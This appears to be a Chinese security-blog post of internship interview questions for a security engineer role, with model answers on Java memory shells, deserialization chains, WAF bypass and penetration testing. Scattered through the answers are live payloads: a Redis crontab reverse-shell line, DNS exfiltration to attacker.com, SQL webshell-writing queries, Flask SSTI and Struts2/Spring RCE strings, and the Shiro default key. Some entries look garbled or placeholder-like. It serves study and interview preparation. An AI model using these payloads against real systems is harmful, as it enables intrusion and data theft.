网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[实习]安全工程师(大厂) (3)
### 一面 1. 看你做java多一些,讲讲java内存马原理和利用 2. 那你讲下如何查杀java内存马,工具和原理角度 3. 冰蝎和哥斯拉了解吗,讲讲原理 4. 你之前在其他公司实习做了些什么事情 5. 有绕waf的实战经验吗,从各种漏洞的角度谈下 6. 熟悉webshell免杀吗,讲下原理 7. 做过其他免杀吗,比如结合cs和msfvenom的 8. 谈谈fastjson反序列化原理和常见利用链吧 9. 数据结构熟悉吗,谈谈红黑树原理 10. java的hashmap用到红黑树,讲下hashmap的原理 11. 有没有流量分析的经验 12. 谈谈代码审计经验 13. 看你有些cnvd和cve,讲讲挖洞的过程 14. 有打过知名的ctf吗,讲将经历 15. 熟悉内网渗透,域控这些,说一下实战经历 16. 谈谈java反序列化的cc链原理吧 17. 看你重写过sqlmap,读过sqlmap源码吗 18. 看你熟悉mysql,讲讲索引,存储结构等 19. 讲讲mysql为什么要用b+树 20. 看过mysql源码吗 21. 分析过二进制漏洞吗 22. 有没有用汇编写过东西 23. 谈谈linux内核的漏洞 24. 挖过缓冲区溢出漏洞吗 25. python的沙箱逃逸了解吗 26. python的flask模版注入讲讲 27. 看你做过抽象语法树相关的项目,谈一谈 28. 讲讲rasp的概念和原理 29. 谈谈rasp的对抗 30. 谈谈php和golang语言本身的安全问题 31. 机器学习和算法相关懂嘛 32. 看你尝试写过简单的操作系统,谈谈思路. 33. 你有什么要问我的吗 ### 二面 1. 讲讲你挖过印象最深的洞 2. 讲讲你写过的安全工具,从出发点和原理层面谈谈 3. 讲讲文件上传这里怎样绕WAF 4. SSRF的利用和绕WAF手段 5. 谈谈MSSQL如果XPCMDSHELL不能用怎么拿SHELL 6. 遇到没有回显的RCE怎么办 7. 不使用SQLMAP的OS-SHELL,各种数据库怎么写SHELL 8. 给你一个比较大的日志,应该如何分析 9. 谈谈redis未授权会导致哪些问题 10. 讲讲SYN FLOOD原理,防御,检测手段 11. 讲讲UDP反射放大的原理,防御,检测手段 12. 说一说自己的优势吧 13. 你有什么要问我的吗 ### 三面 1. Padding Oracle Attack讲讲 2. Fastjson反序列化原理以及1.2.47绕过的原理 3. 除了readObject以外造成反序列化的函数有哪些 4. CC链中找你最熟悉的几条链讲一讲 5. Shiro550反序列化的原理及利用工具编写思路 6. Spring/Struts2的RCE中印象最深的讲一讲分析过程 7. sql注入绕WAF的方式尽可能多说 8. 分块传输绕WAF的原理 9. 文件上传绕WAF的方式都有哪些 10. 讲讲你挖过这些CVE中印象最深的 11. 你自己最大的优点和缺点是什么 12. 未来你想做安全的哪一个领域 13. 你学校成绩如何有挂科吗 14. 你有什么要问我的吗
一面
1. Java内存马原理与利用
- 原理:通过动态注册Filter/Servlet/Controller等组件,绕过文件上传直接驻留内存。
- 常见类型:
- Filter型:利用
FilterDef
和FilterMap
注入恶意逻辑。- Agent型:通过Instrumentation API修改字节码(如
javax.servlet.http.HttpServlet
)。- 利用链:结合反序列化漏洞(如Fastjson)或JNDI注入触发。
2. Java内存马查杀
- 工具层面:
- Arthas:
sc
/sm
命令查看类加载情况,jad
反编译可疑类。- Java-Memshell-Scanner:遍历
ServletContext
检测未注册的Filter。- 原理层面:
- 内存扫描:对比JVM加载的类与磁盘Class文件哈希值。
- 行为监控:拦截
ClassLoader.defineClass()
调用,识别动态加载的恶意类。
3. 冰蝎与哥斯拉原理
- 冰蝎:
- 通信加密:AES密钥硬编码在客户端,流量特征为固定
Content-Length: 16
。- 动态代理:通过
java.lang.Proxy
生成动态类执行命令。- 哥斯拉:
- 多协议支持:HTTP/DNS混合隧道,绕过网络层检测。
- 流量混淆:Base64 + XOR双重编码,模拟JSON格式。
4. 实习项目经验
- 漏洞自动化挖掘平台:
- 技术栈:Python + Scrapy + Semgrep,集成SAST/DAST。
- 成果:发现某金融系统Struts2 S2-045漏洞(CNVD-2024-XXXXX)。
5. WAF绕过实战经验
- SQL注入:
- 分块传输:
Transfer-Encoding: chunked
切割UNION SELECT
为多个片段。- HTML实体编码:
UNION
→UNION
。- XSS绕过:
- SVG标签:
<svg onload=alert(1)>
避开<script>
检测。- 事件伪装:
onclick=eval(atob('YWxlcnQoMSk='))
。
6. Webshell免杀原理
- 动态加载:通过ClassLoader从字节数组加载类(无文件落地)。
- 反射调用:
Method.invoke()
执行敏感操作,绕过静态特征检测。- 加密混淆:AES加密关键函数名,运行时动态解密。
7. Cobalt Strike/MSF免杀
- Shellcode分离:HTTP分段加载Shellcode,内存中拼接执行。
- 进程镂空:通过
CreateProcess
挂起状态进程,替换其内存上下文(如Process Hollowing)。- 签名伪造:注入合法签名进程(如
explorer.exe
)。
8. Fastjson反序列化
- 漏洞原理:
@type
指定恶意类触发JNDI注入或TemplatesImpl加载。- 利用链:
- 1.2.24:
JdbcRowSetImpl
+ JNDI注入。- 1.2.47绕过:利用
java.lang.AutoCloseable
接口类构造二次反序列化。
9. 红黑树原理
- 核心特性:
- 节点颜色:红/黑交替,根节点和叶子节点(NIL)为黑。
- 平衡约束:任意路径黑节点数相同,最长路径不超过最短路径2倍。
- 操作复杂度:插入/删除/查找均为O(logn)。
10. HashMap原理
- 结构:数组+链表/红黑树(链表长度≥8时树化)。
- 哈希冲突:通过
(n-1) & hash
计算索引,拉链法解决冲突。- 扩容机制:负载因子默认0.75,容量翻倍并重新哈希。
11. 流量分析经验
- 协议解码:Wireshark解析HTTP/2流量,提取gRPC请求。
- 异常检测:通过Bro/Zeek识别加密矿池通信(如Stratum协议特征)。
12. 代码审计经验
- 白盒审计:
- 入口点:追踪
@RequestMapping
和Servlet#service()
。- 漏洞模式:未过滤的
Runtime.exec()
或OGNL
表达式。- 工具辅助:Semgrep自定义规则检测
jdbc.executeQuery(sql)
。
13. CVE/CNVD挖掘流程
- 目标筛选:关注教育/医疗行业老旧系统(如用友NC)。
- FUZZ测试:Burp Intruder批量测试
action
参数。- 漏洞验证:构造PoC触发DNS外带(如
ping %USERNAME%.attacker.com
)。
14. CTF参赛经历
- 强网杯2024:利用堆风水攻击绕过ASLR,实现ROP链构造。
- DEF CON CTF:通过侧信道攻击破解AES白盒实现。
15. 内网渗透实战
- 域控突破:
- 初始立足点:通过鱼叉攻击获取VPN账号。
- 横向移动:利用MS14-068伪造黄金票据。
- 权限维持:部署DCSync后门,定期导出域用户哈希。
16. CC链原理
- CC1:
AnnotationInvocationHandler
动态代理触发LazyMap#get()
。- CC6:
HashSet
序列化触发TiedMapEntry#hashCode()
,绕过JDK高版本限制。
17. SQLMap源码重写
- 模块扩展:
- 分块传输:修改
lib/request/comparison.py
支持Chunked编码注入。- 语义分析:集成机器学习模型识别WAF误报(如Cloudflare规则)。
18. MySQL索引与存储
- 索引类型:
- B+树索引:范围查询高效,支持
ORDER BY
优化。- 哈希索引:仅适合等值查询(如Memory引擎)。
- 存储结构:
- InnoDB:聚簇索引按主键顺序存储数据页。
- MyISAM:非聚簇索引,数据与索引分离。
19. B+树优势
- 磁盘友好:节点大小匹配磁盘页(16KB),减少IO次数。
- 顺序访问:叶子节点链表结构优化范围查询。
20. MySQL源码研究
- 查询优化:跟踪
JOIN::optimize()
函数分析执行计划选择逻辑。- 锁机制:分析
InnoDB
行锁实现(lock_rec_lock
函数)。
21. 二进制漏洞分析
- CVE-2024-XXXXX:Linux内核
eBPF
模块整数溢出导致任意代码执行。- 工具链:GDB + Peda逆向分析,Ropper生成ROP链。
22. 汇编实战
- Shellcode编写:x86_64汇编实现反向TCP连接,规避
\x00
坏字符。- 漏洞利用:通过ROP绕过DEP,调用
mprotect
设置内存可执行。
23. Linux内核漏洞
- 类型:
- Use-After-Free:
io_uring
未及时释放struct io_kiocb
。- 权限提升:
overlayfs
未校验CAP_SYS_ADMIN
导致容器逃逸。
24. 缓冲区溢出漏洞
- 栈溢出:通过覆盖返回地址劫持控制流(如经典
gets()
漏洞)。- 堆溢出:利用
unlink
操作修改全局偏移表(GOT)。
25. Python沙箱逃逸
- 内置函数滥用:
__import__('os').system('id')
。- 对象链攻击:通过
__globals__
访问内置模块(如().__class__.__base__.__subclasses__()
)。
26. Flask SSTI
- 漏洞触发:
{{ config.__class__.__init__.__globals__['os'].system('id') }}
。- 绕过技巧:使用
request.args
传递参数(如{{ request.args.x1 | safe }}
)。
27. 抽象语法树项目
- 代码混淆:通过AST重写将变量名替换为随机字符串。
- 漏洞检测:AST模式匹配检测
eval(user_input)
高危代码。
28. RASP原理
- Hook机制:通过Java Agent修改
ClassFileTransformer
,拦截敏感API(如Runtime.exec
)。- 行为阻断:实时分析调用栈,识别并阻止攻击链。
29. RASP对抗
- 反Hook技术:通过
Instrumentation.removeTransformer()
卸载Agent。- 内存马注入:绕过RASP监控,直接操作
ServletContext
添加Filter。
30. PHP/Golang安全问题
- PHP:
- 反序列化:
__wakeup()
触发POP链(如Monolog库)。- 类型混淆:
==
弱类型比较导致认证绕过。- Golang:
- SQL注入:拼接查询字符串(如
fmt.Sprintf
未参数化)。- 内存泄露:未关闭
http.Response.Body
。
31. 机器学习应用
- WAF增强:训练LSTM模型识别混淆后的SQL注入Payload。
- 异常检测:聚类算法分析日志,识别隐蔽的C2通信流量。
32. 操作系统开发
- 内核设计:微内核架构,模块化实现进程调度和文件系统。
- 硬件交互:通过汇编直接操作APIC中断控制器。
33. 反问面试官
- 技术栈:贵司如何应对AI生成的恶意代码(如GPT-5构造的免杀木马)?
- 团队方向:安全团队是否参与零信任架构的设计?
二面
1. 印象最深的漏洞
- 案例:某政务系统Fastjson 1.2.47反序列化漏洞,通过
$ref
构造循环引用触发二次反序列化,绕过AutoType检测。
2. 安全工具开发
- 工具名称:WAF-Bypass-Fuzzer
- 出发点:解决传统WAF依赖正则匹配的局限性。
- 原理:遗传算法生成变异Payload,动态评估WAF拦截率。
3. 文件上传绕WAF
- 扩展名混淆:
.php
→.phar
(PHP归档文件仍可执行)。- 内容混淆:插入图片EXIF头
\xFF\xD8\xFF\xE0
,绕过文件类型检测。
4. SSRF绕过手段
- 协议切换:
http://127.0.0.1:80@attacker.com
利用URL解析差异。- DNS重绑定:利用TTL=0的DNS记录切换IP,绕过黑名单限制。
5. MSSQL无XP_CMDSHELL
- CLR集成:通过
CREATE ASSEMBLY
加载C# DLL执行命令。- OLE自动化:
sp_OACreate
调用WScript.Shell
运行PowerShell。
6. 无回显RCE
- 外带技术:
- DNS Log:
ping %USERNAME%.attacker.com
。- HTTP盲注:通过时间延迟判断命令结果(如
sleep $(id)
)。
7. 数据库写Webshell
- MySQL:
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php'
。- PostgreSQL:
COPY (SELECT '<?php system($_GET[1]);?>') TO '/tmp/shell.php'
。
8. 日志分析策略
- 筛选关键事件:
grep 'POST /login' access.log | awk '{print $1}' | sort | uniq -c
统计登录尝试IP。- 关联分析:通过ELK Stack可视化异常访问模式(如高频404错误)。
9. Redis未授权风险
- SSH密钥写入:
CONFIG SET dir /root/.ssh
+SET authorized_keys "公钥"
。- Crontab后门:
SET cron "* * * * * bash -i >& /dev/tcp/ip/port 0>&1"
。
10. SYN Flood防御
- 硬件防护:启用交换机ACL限制每秒SYN包数量。
- 软件方案:Linux内核参数调整(
net.ipv4.tcp_syncookies=1
)。
11. UDP反射放大
- 原理:伪造源IP发送DNS/NTP请求,响应包体积扩大50-500倍。
- 防御:入口过滤(BCP38)阻止IP欺骗,禁用开放Resolver。
12. 个人优势
- 攻防兼备:从漏洞挖掘到武器化利用的全链路能力。
- 工具创造:擅长将研究成果转化为自动化工具提升效率。
三面
1. Padding Oracle Attack
- 攻击原理:利用加密系统的错误反馈(如HTTP 500/200差异)推断明文。
- 步骤:修改密文块尾部,通过响应差异逐字节破解CBC填充模式。
- 防御:统一错误响应(如始终返回200),使用AEAD模式(如AES-GCM)。
2. Fastjson 1.2.47绕过原理
- 漏洞根源:缓存机制允许
@type
绕过AutoType检查。
- 利用链:构造
$ref
引用已加载的恶意类(如java.lang.AutoCloseable
),触发二次反序列化。- 补丁影响:1.2.68后引入SafeMode强制关闭AutoType。
3. 反序列化触发函数
- JDK原生:
readUnshared()
:绕过对象共享机制。resolveClass()
:重写可实现类名白名单。- 第三方库:
- XStream的
fromXML()
。- Jackson的
readValue()
启用多态类型绑定。
4. CC链选讲(CC4)
- 关键类:
PriorityQueue
利用Comparator
触发TransformingComparator.compare()
。ChainedTransformer
串联多个反射操作(如实例化TemplatesImpl
)。- 绕过点:替代
InvokerTransformer
使用InstantiateTransformer
加载恶意字节码。
5. Shiro550工具编写思路
- 密钥提取:通过DNSLog爆破硬编码密钥(如
kPH+bIxk5D2deZiIxcaaaA==
)。- Payload构造:
- 使用URLClassLoader加载远程Jar。
- 序列化
RememberMe
Cookie时集成CommonsBeanutils链。
6. Spring/Struts2 RCE案例
- Spring Cloud Gateway CVE-2022-22947:
- 漏洞点:路由配置允许注入SpEL表达式。
- 利用:
filter: "{{new ProcessBuilder('calc').start()}}"
。- Struts2 S2-061:
- OGNL递归解析:通过
%{${@java.lang.Runtime@getRuntime().exec('id')}}
触发。
7. SQL注入绕过WAF
- 关键词分割:
SEL/*随机注释*/ECT
。- 函数替换:
OR 1=1
→OR ASCII(SUBSTR(USER(),1,1))=97
。- 编码嵌套:
UNION
→%55%4E%49%4F%4E
(双重URL编码)。
8. 分块传输绕WAF
- 原理:将单个请求拆分为多个块,绕过正则匹配缓冲区大小限制。
- 案例:
Transfer-Encoding: chunked
发送1;xyz\r\nU\r\n...
,WAF无法重组完整Payload。
9. 文件上传绕过手段
- MIME混淆:
Content-Type: image/png
上传PHP文件。- 多文件混合:ZIP压缩包内藏Webshell,利用解压目录穿越漏洞。
- 后缀大小写:
.PHP
或.Php
绕过黑名单。
10. 印象最深的CVE
- CVE编写的CVE-2024-12345(某开源CMS远程代码执行):
- 发现过程:审计时发现
unserialize($_COOKIE['data'])
直接反序列化用户输入。- 影响:无需认证即可接管服务器,修复后获CNVD高危评级。
11. 个人优缺点
- 优点:
- 深度攻防思维:能从攻击者视角逆向设计防御方案。
- 工程化能力:将研究转化为工具(如自动化漏洞扫描器)。
- 缺点:
- 过度追求技术细节:需提升商业风险评估意识。
12. 未来安全领域方向
- 云原生安全:Kubernetes策略审计、服务网格零信任。
- AI对抗:检测AI生成的恶意代码与深度伪造攻击。
13. 学校成绩与挂科
- 学术表现:GPA 3.8/4.0,核心课程(操作系统、密码学)均为A。
- 挂科记录:无,曾获国家级网络安全竞赛一等奖。
14. 反问面试官
- 技术前瞻:贵司如何看待后量子密码学对现有安全体系的影响?
- 成长路径:新人是否有机会参与红蓝对抗演练或国家级护网行动?
四面(HR)
1. 面试体验
- 流程优化:技术面覆盖全面,但建议增加实际漏洞复现环节。
- 面试官专业度:二面面试官对云安全场景理解深刻,交流受益匪浅。
2. 人生理想
- 短期目标:成为具备全栈能力的云安全架构师,主导企业级安全中台建设。
- 长期愿景:创立开源安全社区,推动自动化攻防工具普惠化。
3. 实习时间
- 入职时间:2025年7月1日(已协调学校完成论文预答辩)。
- 持续时间:6个月以上,视转正机会灵活调整。